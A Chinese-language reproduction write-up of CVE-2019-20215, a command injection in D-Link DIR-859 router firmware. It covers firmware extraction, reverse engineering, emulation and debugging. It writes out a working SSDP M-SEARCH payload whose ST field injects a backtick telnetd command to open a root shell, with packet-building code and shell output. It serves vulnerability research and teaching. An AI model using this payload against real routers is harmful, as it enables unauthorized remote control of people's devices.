D-Link 路由器漏洞复现(CVE-2019-20215)
前言
本来是打算来挖它的,去搜索它以往爆出的漏洞,就先复现玩玩了,这次用了三种方法来验证,分别为用户级模拟,系统级模拟,真机
CVE-2019-20215
漏洞描述
根据漏洞描述可以获得到的信息:
- 漏洞点为
/htdocs/cgibin
中的ssdpcgi()
函数 - HTTP_ST的处理逻辑中存在命令注入
固件获取
打开外壳,全封死了,准备放弃来着,但是在背面发现一个类似SOP8的东西,尝试对它进行读取
用烧录夹一夹上就识别到固件,对它进行提取:
➜ Desktop sudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=2048 -r tp.bin flashrom on Linux 5.4.83-v7l+ (armv7l) flashrom is free software, get the source code at https://flashrom.org Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns). Found Macronix flash chip "W25Q128.V" (16384 kB, SPI) on linux_spi. Reading flash... done.
至此就获得到了固件,虽然是1.02版本的,但无伤大雅:
在官网上也可以下载(http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-859)到含有漏洞的.bin文件,不过版本会高一些
逆向分析
通过对固件的解包,拿到cgibin
之后,通过字符串很容易定位到漏洞函数中,可以看到HTTP_ST只是进行strncmp
,并没有进行过滤就直接传递给lxmldbc_system()
,然后进行拼接就直接传递给system()
函数,很明显存在命令注入
int __fastcall ssdpcgi_main(int a1) { result = -1; if ( a1 == 2 ) { v2 = getenv("HTTP_ST"); v3 = getenv("REMOTE_ADDR"); v5 = getenv("REMOTE_PORT"); v4 = getenv("SERVER_ID"); if ( v2 && v3 && v5 && v4 ) { if ( !strncmp(v2, "ssdp:all", 8u) ) { v6 = "%s ssdpall %s:%s %s &"; LABEL_17: lxmldbc_system(v6); return 0; } if ( !strncmp(v2, "upnp:rootdevice", 0xFu) ) { v6 = "%s rootdevice %s:%s %s &"; goto LABEL_17; } if ( !strncmp(v2, "uuid:", 5u) ) { v6 = "%s uuid %s:%s %s %s &"; goto LABEL_17; } v7 = strncmp(v2, "urn:", 4u) != 0; result = 0; if ( v7 ) return result; if ( strstr(v2, ":device:") ) { v6 = "%s devices %s:%s %s %s &"; goto LABEL_17; } if ( strstr(v2, ":service:") ) { v6 = "%s services %s:%s %s %s &"; goto LABEL_17; } result = 0; } else { result = -1; } } return result; } int lxmldbc_system(char *format, ...) { char v2[1028]; // [sp+1Ch] [-404h] BYREF va_list va; // [sp+42Ch] [+Ch] BYREF va_start(va, format); vsnprintf(v2, 0x400u, format, va); return system(v2); }
demo测试
当不确定是否存在漏洞的时候,建议还是写个demo,减少误判的可能,demo如下:
#include #include void sys(char *format, ...) { char value [1028]; va_list va; va_start(va, format); vsnprintf(value,0x400,format,va); system(value); } int main(void){ char *command = "aaa;ls;"; sys("%s services",command); return 0; }
vsnprintf和snprintf的区别就是加了个可变的参数,具体可以看看下面的链接:
- 可变参数函数详解(https://www.cnblogs.com/clover-toeic/p/3736748.html)
运行之后,成功执行命令:
➜ ./demo1 sh: 1: aaa: not found 1.c a.out demo1 demo1.c #ls sh: 1: services: not found
用户级模拟
通过qemu暴露端口进行调试:
sudo chroot . ./qemu-mips-static -0 "ssdpcgi" -E REMOTE_ADDR=127.0.0.1 -E SERVER_ID=1 -E REMOTE_PORT=8888 -E HTTP_ST="urn:device:1;ls" -E REQUEST=/ -E REQUEST_METHOD=M-SEARCH -g 1234 ./htdocs/cgibin
-0: 要请求的cgi
E: 传入自定义的环境变量
这个端口不仅IDA可以连,GDB也能连,下断点到关键的位置,修改一下寄存器,因为是用户级模拟的原因,需要绕过一些判断才能看到拼接起来的命令
b *0x40f3b8 c set $a0=0x2
往下走就看到了完整的命令($s0
寄存器中),也可以看到urn:device;ls
,命令是成功注入进去了:
之后c一下就能看到它成功的执行了ls命令,至此确定它是存在命令注入的:
漏洞POC编写
找到了漏洞点之后,就要想办法去触发这个漏洞,通常情况下是通过让某个端口发包,让它自己去触发业务的逻辑,那首先就要构造恶意的数据包,所以去找一下处理这段数据的代码,那还是通过字符串来定位,因为在开发的时候,大部分都是情况下多个程序都不是同一个人开发出来的,那怎么告诉别人这段代码到底在做什么或者说两个不同的程序之间是如何产生联系的呢?答:字符串
通过grep匹配文件,可以看到下面匹配到了两个二进制文件,一个是刚刚分析过的文件,剩下的文件没分析过,我们用IDA打开看看
➜ squashfs-root grep -r "upnp:rootdevice" 匹配到二进制文件 htdocs/cgibin 匹配到二进制文件 usr/sbin/hostapd etc/scripts/upnp/M-SEARCH.php: SSDP_ms_send_resp($TARGET_HOST, $phyinf, $max_age, $date, $location, $server, "upnp:rootdevice", $uuid."::upnp:rootdevice"); etc/scripts/upnp/M-SEARCH.php: echo "# SSDP_ms_send_resp(".$TARGET_HOST.", ".$phyinf.", ".$max_age.", ".$date.", ".$location.", ".$server.", \"upnp:rootdevice\", ".$uuid."\"::upnp:rootdevice\")"; etc/scripts/upnp/M-SEARCH.php: SSDP_ms_send_resp($TARGET_HOST, $phyinf, $max_age, $date, $location, $server, "upnp:rootdevice", $uuid."::upnp:rootdevice"); etc/scripts/upnp/NOTIFYAB.php: $nt = "upnp:rootdevice"; etc/scripts/upnp/NOTIFYAB.php: $usn= $uuid."::upnp:rootdevice";
拖进IDA之后,交叉引用很容易定位到关键点
来到关键处就能看到它先接收数据,然后对数据的一些字段进行处理,下面的代码删除了部分代码,具体看hostapd
,可以获取到的信息如下:
- 一共有
M-SEARCH
,host
,st
,urn:xxx:1
,man
,mx
,ssdp:discover
这些字段
v3 = *(_DWORD *)(a3 + 52); addr_len = 16; v5 = recvfrom(v3, v54, 0x63Fu, 0, &addr, &addr_len); v6 = v5 <= 0; v7 = (char *)&addr_len + v5; if ( !v6 ) { v7[20] = 0; v8 = strncasecmp(v54, "M-SEARCH", 8u); v9 = *(_DWORD *)&addr.sa_data[2]; v55 = *(unsigned __int16 *)addr.sa_data; if ( !v8 ) { v10 = v54; if ( (*(_WORD *)(_ctype_b + 2 * v54[8]) & 0x80) == 0 ) { ... LABEL_13: v23 = v13 < v22; do { --v22; if ( !v23 ) break; v23 = v13 < v22; } while ( (*(_WORD *)(_ctype_b + 2 * *v22) & 0x80) == 0 ); if ( sub_449284(v13, "host") ) { v18 = 1; goto LABEL_68; } v24 = sub_449284(v13, "st"); v25 = v13; if ( v24 ) { while ( 1 ) { v26 = *v25; if ( (*(_WORD *)(_ctype_b + 2 * v26) & 0x800) == 0 && v26 != '_' ) { v27 = v25; if ( v26 != 45 ) break; } ++v25; } while ( 1 ) { v28 = *v27; if ( v28 != ' ' && v28 != '\t' ) break; ++v27; } v13 = v27; if ( *v27 != ':' ) goto LABEL_69; for ( i = v27 + 1; ; ++i ) { v30 = *i; if ( v30 != 32 && v30 != 9 ) break; } v13 = (char *)i; if ( strncmp(i, "ssdp:all", 8u) && strncmp(v13, "upnp:rootdevice", 0xFu) ) { if ( strncmp(v13, "uuid:", 5u) ) { if ( strncmp(v13, "urn:schemas-upnp-org:device:InternetGatewayDevice:1", 0x33u) && strncmp(v13, "urn:schemas-wifialliance-org:service:WFAWLANConfig:1", 0x34u) ) { v32 = strncmp(v13, "urn:schemas-wifialliance-org:device:WFADevice:1", 0x2Fu); goto LABEL_37; } } else { v13 += 5; v31 = strlen((const char *)(a3 + 136)); v32 = strncmp(v13, (const char *)(a3 + 136), v31); LABEL_37: if ( v32 ) { v27 = v13; goto LABEL_69; } } } v17 = 1; goto LABEL_68; } v33 = sub_449284(v13, "man"); v34 = v13; if ( !v33 ) { v6 = !sub_449284(v13, "mx"); v27 = v13; if ( v6 ) goto LABEL_69; for ( j = v13; ; ++j ) { v40 = *j; if ( (*(_WORD *)(_ctype_b + 2 * v40) & 0x800) == 0 && v40 != '_' ) { v27 = j; if ( v40 != '-' ) break; } } ... LABEL_69: while ( 1 ) { v44 = *v27; if ( !*v27 ) break; v45 = ++v27; if ( v44 == '' ) { v46 = v45 - v13; goto LABEL_73; } } v46 = v27 - v13; LABEL_73: v13 += v46; } for ( l = v27 + 1; ; ++l ) { v38 = *l; if ( v38 != 32 && v38 != 9 ) break; } v13 = (char *)l; v16 = 1; if ( !strncmp(l, "\"ssdp:discover\"", 0xFu) ) { v27 = v13; goto LABEL_69; } } } } }
交叉引用回去看看,可以看到一套socket建立的过程,里面也有此服务的ip和端口号,到此已经知道它是通过socket来触发这个漏洞的,接下来就是通过动态调试来看看这些字段具体的参数到底是什么
int __fastcall upnp_wps_device_start(_DWORD *a1, const char *a2, int a3) { if ( !a1 || !a2 ) return -1; v5 = a1[5]; v26 = 4; if ( v5 ) sub_447CF4(a1, (int)a2, a3); a1[6] = strdup(a2); a1[12] = -1; a1[13] = -1; a1[5] = 1; a1[15] = 0; memset(v32, 0, 0x54u); v6 = socket(2, 1, 0); if ( v6 == -1 ) goto LABEL_39; v32[17] = a2; HIWORD(v32[1]) = 2; LOWORD(v32[1]) = 0; v32[2] = inet_addr("239.0.0.0"); HIWORD(v32[9]) = 2; LOWORD(v32[9]) = 0; v32[10] = inet_addr("255.0.0.0"); HIWORD(v32[13]) = 1; v9 = 0; if ( ioctl(v6, 0x890Bu, v32) < 0 ) { v9 = -1; if ( *_errno_location() == 17 ) v9 = 0; } close(v6); if ( v9 ) goto LABEL_39; v10 = 1; for ( i = a2; v10 != 11 && sub_443E74(i, (struct in_addr *)a1 + 11, (void **)a1 + 10, a1 + 8, (void **)a1 + 7); i = a2 ) { ++v10; sleep(1u); } if ( !a1[10] ) { strcpy(v30, a2); strcat(v30, ":1"); if ( sub_443E74(v30, (struct in_addr *)a1 + 11, (void **)a1 + 10, a1 + 8, (void **)a1 + 7) ) { LABEL_39: sub_447CF4(a1, v8, v7); return -1; } } v14 = socket(2, 2, 0); a1[27] = v14; if ( v14 < 0 ) goto LABEL_26; v15 = 45555; if ( fcntl(v14, 4, 128) ) goto LABEL_26; while ( 1 ) { v16 = a1[11]; v17 = a1[27]; *(_WORD *)v31.sa_data = v15; *(_DWORD *)&v31.sa_data[2] = v16; v31.sa_family = 2; if ( !bind(v17, &v31, 0x10u) ) break; ++v15; if ( *_errno_location() != 125 || v15 == 0xFFFF ) goto LABEL_26; } v18 = listen(a1[27], 10); v13 = 4; if ( v18 || (v19 = fcntl(a1[27], 4, 128), v12 = 4456448, v19) || eloop_register_sock(a1[27], 0, sub_444960, 0, a1) ) { LABEL_26: sub_44477C(a1, v13, v12); goto LABEL_39; } a1[26] = v15; v27[0] = 4; a1[28] = 1; v28 = 1; v20 = socket(2, 1, 0); v21 = v20; a1[13] = v20; if ( v20 < 0 ) goto LABEL_35; if ( fcntl(v20, 4, 128) ) goto LABEL_35; if ( setsockopt(v21, 0xFFFF, 4, &v28, 4u) ) goto LABEL_35; v31.sa_family = 2; *(_WORD *)v31.sa_data = 1900; //端口号 *(_DWORD *)&v31.sa_data[6] = 0; *(_DWORD *)&v31.sa_data[10] = 0; *(_DWORD *)&v31.sa_data[2] = 0; if ( bind(v21, &v31, 0x10u) //绑定端口 || (v29[0] = 0, v29[1] = 0, v29[0] = inet_addr("239.255.255.250"), setsockopt(v21, 0, 35, v29, 8u)) || setsockopt(v21, 0, 33, v27, 1u) || eloop_register_sock(v21, 0, sub_4493DC, 0, a1) ) //设置ip { LABEL_35: sub_4447F8(a1); goto LABEL_39; } a1[14] = 1; v22 = socket(2, 1, 0); a1[12] = v22; if ( v22 < 0 ) goto LABEL_39; if ( setsockopt(v22, 0, 32, a1 + 11, 4u) ) goto LABEL_39; if ( setsockopt(v22, 0, 33, &v26, 1u) ) goto LABEL_39; v23 = sub_442950(a1); v24 = 0; if ( v23 ) goto LABEL_39; return v24; }
真机调试
这里用的是另一个漏洞来获得调试,用CVE-2019–17621这个漏洞的exp打进去搭建一个调试环境,这里get到一个点,就是如果串口没有拿到或者串口没有提供shell的这么一个调试环境,可以看看这个固件有什么其他没有修复的漏洞,可以用它来搭建一个调试的环境,直接运行exp就获得了一个shell
➜ python exp.py IP Router: 192.168.0.1 [*] Connection 192.168.0.1:49152 [*] Sending Payload [*] Running Telnetd Service [*] Opening Telnet Connection Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-04-17 16:14:11 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #
接下来就是通过wget传入gdbserver来暴露调试接口,这里用的海特的gdbserver-7.12-mips-mips32rel2-v1-sysv
,
# cd tmp # ls gdbserver
通过ps可以看到hostapd
的PID是多少:
# ps PID USER VSZ STAT COMMAND ... 2470 0 788 S /bin/sh /etc/scripts/hostapd_loop.sh 2529 0 800 S /bin/sh 2793 0 2792 S stunnel /var/stunnel.conf 2824 0 1076 S udhcpd /var/servd/LAN-1-udhcpd.conf 2884 0 1512 S hostapd /var/topology.conf 3004 0 1076 S udhcpd /var/servd/LAN-2-udhcpd.conf 3289 0 1304 S mDNSResponderPosix -b -i br0 -f /var/rendezvous.conf 3380 0 1000 S dnsmasq -C /var/servd/DNS.conf ...
接下来就是正常暴露端口用gdb进行连接
./gdbserver :1234 --attach 2884 #另开一个终端 ➜ gdb-multiarch -q hostapd set arch mips set endian big target remote 192.168.0.1:1234
连接上之后,在0x449454处下断点,按下c可以看到完整的报文头,可以看到ST字段中存在urn:xxx:1
,它就是注入的字段
按照上面的报文格式,构造报文,并在ST字段中进行注入,具体代码如下:
ip = "239.255.255.250" port = 1900 backdoor = '`telnetd -p 8888 `' header = "M-SEARCH * HTTP/1.1" header += "HOST: "+str(ip)+str(port)+"" header += 'MAN: \"ssdp:discover\"\r' header += "MX: 1\r" header += "ST: urn:dial-multiscreen-org:service:dial;"+str(backdoor)+":1\r" header += "USER-AGENT: Google Chrome/87.0.4280.88 Windows\r\r" print(header)
已经确定是通过发包触发之后,接下来就是socket那一套了,创建套接字然后直接方法,这里用的是UDP来发送payload:
- socket --- 底层网络接口((https://docs.python.org/zh-cn/3.9/library/socket.html#module-socket)
udp_socket=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP) udp_socket.sendto(pay,(ip, port))
完整exp可以自己尝试写写,这里就不放了,运行exp之后就拿到了shell
➜ python exp.py M-SEARCH * HTTP/1.1 HOST: 239.255.255.2501900 MAN: "ssdp:discover" MX: 1 ST: urn:dial-multiscreen-org:service:dial;`telnetd -p 8888 `:1 USER-AGENT: Google Chrome/87.0.4280.88 Windows Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-04-17 16:14:11 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #
扫一下端口,发现多开了个8888的端口:
> nmap 192.168.0.1 Nmap scan report for dlinkrouter (192.168.0.1) Host is up (0.0058s latency). Not shown: 993 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 443/tcp open https 8888/tcp open sun-answerbook 9999/tcp open abyss #用CVE-2019–17621打开的端口 49152/tcp open unknown
系统级模拟
fat对于dlink
似乎支持很好,真就一键模拟
sudo ./fat DIR859Ax_FW105b03.bin
等多一会就模拟成功了(记得等久一些):
其实模拟也就是在熟悉一下模拟的方法,还是多搞搞真机会比较好,毕竟模拟的和真的它不一样
iot@attifyos > python exp.py M-SEARCH * HTTP/1.1 HOST: 239.255.255.2501900 MAN: "ssdp:discover" MX: 1 ST: urn:dial-multiscreen-org:service:dial;`telnetd -p 8888 `:1 USER-AGENT: Google Chrome/87.0.4280.88 Windows Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2016-06-28 10:53:08 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # ls firmadyne var bin usr home lost+found sbin tmp etc proc sys www lib mnt htdocs dev #
总结
话讲回来,构造数据包其实就是一个寻找漏洞文件与其他文件的关联的这么一个过程,先通过字符串来定位到关键的地方,再逆向分析它与其他文件的关联,这或许就是xuanxuan老师所讲到的:“在IOT设备中的逆向和CTF中的逆向的区别”,最近发现cgi的文件似乎很常出问题,以后可以多关注一下它
